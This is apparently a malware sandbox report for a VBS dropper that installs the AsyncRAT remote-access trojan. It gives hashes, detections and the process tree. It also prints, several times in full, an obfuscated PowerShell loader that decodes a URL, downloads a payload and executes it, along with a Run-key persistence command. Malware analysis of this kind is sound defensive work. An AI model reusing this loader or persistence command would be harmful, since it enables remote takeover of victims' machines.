File name:

tartarises.vbs

Full analysis: https://app.any.run/tasks/53d4140e-8f3f-4f54-b23d-c7c04e8012bf
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: November 10, 2024, 15:51:45
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
gumen
rat
asyncrat
remote
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

4DB4FFB8EA90F92EFE568FF54E54C902

SHA1:

730114E3EF88CD92F9B3F560FAEF636D2EA6909B

SHA256:

4484FB2B0DE238F6DABF4A45C92BF1F4470EFBD5E93FB6D4DB7A2DC93EDD9865

SSDEEP:

768:Ozq0SYncwke3zTe7Ug64+zd5ouaiSggm9qmoLAyM2lQZ:OzqvCxVehnWaugm9qZ8yZQZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • GUMEN has been detected

      • powershell.exe (PID: 6288)
      • powershell.exe (PID: 6660)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 5328)

    • ASYNCRAT has been detected (SURICATA)

      • msiexec.exe (PID: 5616)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 5328)

    • Starts CMD.EXE for commands execution

      • msiexec.exe (PID: 5616)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 1792)

    • Suspicious use of asymmetric encryption in PowerShell

      • wscript.exe (PID: 5328)

    • Contacting a server suspected of hosting an CnC

      • msiexec.exe (PID: 5616)

  • INFO

    • Manual execution by a user

      • powershell.exe (PID: 6288)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
142
Monitored processes
10
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #GUMEN powershell.exe conhost.exe no specs #GUMEN powershell.exe no specs conhost.exe no specs #ASYNCRAT msiexec.exe cmd.exe no specs conhost.exe no specs reg.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
1792"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Untermed" /t REG_EXPAND_SZ /d "%Skrping% -windowstyle 1 $Oprejsningerne=(gp -Path 'HKCU:\Software\Alpiste\').Osee;%Skrping% ($Oprejsningerne)"C:\Windows\SysWOW64\cmd.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
2172C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3028\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3864REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Untermed" /t REG_EXPAND_SZ /d "%Skrping% -windowstyle 1 $Oprejsningerne=(gp -Path 'HKCU:\Software\Alpiste\').Osee;%Skrping% ($Oprejsningerne)"C:\Windows\SysWOW64\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
4464\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5328"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\tartarises.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5616"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
5744\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6288"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6660"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
17 944
Read events
17 941
Write events
3
Delete events
0

Modification events

(PID) Process:(5616) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\Alpiste
Operation:writeName:Osee
Value:
<#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. 